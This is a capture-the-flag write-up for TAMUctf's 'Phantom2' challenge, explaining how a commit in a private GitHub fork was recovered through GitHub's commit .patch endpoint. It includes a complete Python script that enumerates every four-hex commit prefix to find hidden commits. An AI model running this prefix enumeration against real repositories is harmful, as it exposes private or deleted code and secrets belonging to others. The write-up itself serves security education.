02Labs Blog

TAMUctf 2026: Phantom2 Writeup

Could private forks on GitHub be not as private as we think?

Published

Overview

In Phantom2 (the second part of a 2-part challenge during TAMUctf 2026), we are given once again a link to an almost “empty” GitHub repository with a single commit and a single README.md file.

Just as in the previous challenge, any attempt to search for the flag in the commit history, branches, tags, and metadata in /.git was unsuccessful. And just as in the previous challenge, the focus shifted from analyzing the git repository to analyzing its GitHub footprint.

Footprint

This time the clue came from a leak in the repository network metadata. The main signal was a mismatch between the fork count shown in the GitHub UI, the list of forks visible on the public forks page / network/members page, and the repository events feed.

First we checked the public repository page and noted the fork counter. Then we enumerated the public forks from the forks page / network members page. Finally, we inspected the repository events feed for ForkEvent and PushEvent entries.

These were the commands we used to check these surfaces:

curl -fsSL https://api.github.com/repos/tamuctf/phantom2/events
curl -fsSL https://api.github.com/repos/tamuctf/phantom2/forks?per_page=100

and we also checked the public forks listing at https://github.com/tamuctf/phantom2/network/members

The critical observation was that these sources did not agree.

That is exactly what made cobradev4/phantom2 interesting. It was not just “another fork.” It was the only fork path tied to the author account and the only one that fit the hidden-history model.

Recovery

This opens an interesting path. If GitHub resolves commit objects across the repository’s fork network, then a commit pushed to a private fork might still be retrievable from the public repository’s commit patch endpoint, provided we know a matching SHA prefix.

The working hypothesis was:

If that hypothesis was correct, we could test it with GitHub’s standard commit patch endpoint:

https://github.com/tamuctf/phantom2/commit/<prefix>.patch

CFOR public path oracle showing a private-fork object resolved through the public commit patch route

This behaved as a prefix oracle: if the prefix matched a commit object in the repository, we got an HTTP 200 response with the patch. If it did not match, we got an HTTP 404 response. We also had to handle HTTP 429 and HTTP 5xx responses to avoid misclassifying possible matches as non-matches.

Feasibility

The remaining question was whether that recovery path was practical.

Using 4 hex characters gives a search space of 164=65,53616^4 = 65,536 prefixes, which is small enough to enumerate in practice. The important point is that we were not brute-forcing full commit hashes. We were enumerating a small short-prefix space against a route that GitHub was willing to resolve.

Solution

The solution we executed was to brute-force search for the commit containing the flag. We used the GitHub commit patch endpoint on the standard GitHub URL, and the solver iterated over all 4-hex prefixes to identify which ones corresponded to existing commits in the repository.

4-hex brute-force flow showing prefix enumeration, patch probing, status classification, and hit collection

from __future__ import annotations

import time
from urllib import error, request

REPO = "tamuctf/phantom2"
PREFIX_LENGTH = 4
DELAY = 0.05
TIMEOUT = 15
RETRIES = 5
BACKOFF = 0.5

RETRYABLE = {429, 500, 502, 503, 504}
HEADERS = {
    "User-Agent": "phantom2-scan",
    "Accept": "text/plain, */*",
}


def probe(url: str) -> int:
    attempt = 0
    while True:
        req = request.Request(url, headers=HEADERS)
        try:
            with request.urlopen(req, timeout=TIMEOUT) as resp:
                return resp.getcode()
        except error.HTTPError as exc:
            if exc.code in RETRYABLE and attempt < RETRIES:
                time.sleep(BACKOFF * (2**attempt))
                attempt += 1
                continue
            return exc.code
        except Exception as exc:  # noqa: BLE001
            if attempt < RETRIES:
                time.sleep(BACKOFF * (2**attempt))
                attempt += 1
                continue
            print(f"error {url} {exc}", flush=True)
            return 0


def main() -> None:
    total = 16**PREFIX_LENGTH
    hits: list[str] = []

    print(f"starting repo={REPO} total={total}", flush=True)

    for index in range(total):
        prefix = f"{index:0{PREFIX_LENGTH}x}"
        url = f"https://github.com/{REPO}/commit/{prefix}.patch"
        status = probe(url)

        if status == 200:
            hits.append(prefix)
            print(f"hit {prefix}", flush=True)

        if (index + 1) % 100 == 0:
            print(f"progress {index + 1}/{total} hits={len(hits)}", flush=True)

        time.sleep(DELAY)

    print("done", flush=True)
    print("hits:", " ".join(hits), flush=True)


if __name__ == "__main__":
    main()

Note: The use of urllib instead of requests was because the solver only needed simple GET requests and HTTP status codes.

After iterating through the possible prefixes, we found the following commits:

We knew 454b resolved to the initial commit in the public repository, so we focused on the other three commits. After analyzing the patches, we found that the commit with prefix d3ca exposed the flag in its patch, and we were able to recover it by accessing: https://github.com/tamuctf/phantom2/commit/d3ca.patch

The content of the patch was:

From d3cab66d23265b36ecd8cd410554bdfc603e3416 Mon Sep 17 00:00:00 2001
From: Noah Mustoe <62711423+cobradev4@users.noreply.github.com>
Date: Sat, 21 Mar 2026 11:04:47 -0500
Subject: [PATCH] Add flag (if you comment on this commit, you will be banned)

---
 README.md | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 4345918..699ec43 100644
--- a/README.md
+++ b/README.md
@@ -1 +1,5 @@
-# phantom2
\ No newline at end of file
+# phantom2
+
+```
+gigem{57up1d_917hu8_3v3n7_4p1_a8f943}
+```

And with that, we were able to recover the flag: gigem{57up1d_917hu8_3v3n7_4p1_a8f943}.

The flag text strongly suggests that the author intended solvers to notice the GitHub events leak and recover the hidden fork activity from there. In our solve, the events leak gave us the model, but the actual object recovery came from the short-prefix .patch oracle.

Conclusion

Both Phantom1 and Phantom2 highlight an important lesson about how GitHub can expose hidden repository history. This challenge appears to rely on GitHub resolving commit objects across fork-related storage in a way that made hidden fork activity recoverable via short SHA prefixes. In this case, enumerating 4-character prefixes against the commit patch endpoint was enough to recover the flag-bearing commit. This concept, technically defined as Cross Fork Object Reference (CFOR), was identified by Truffle Security in July 2024. If you want to learn more about it, check their blog post: Anyone can Access Deleted and Private Repository Data on GitHub.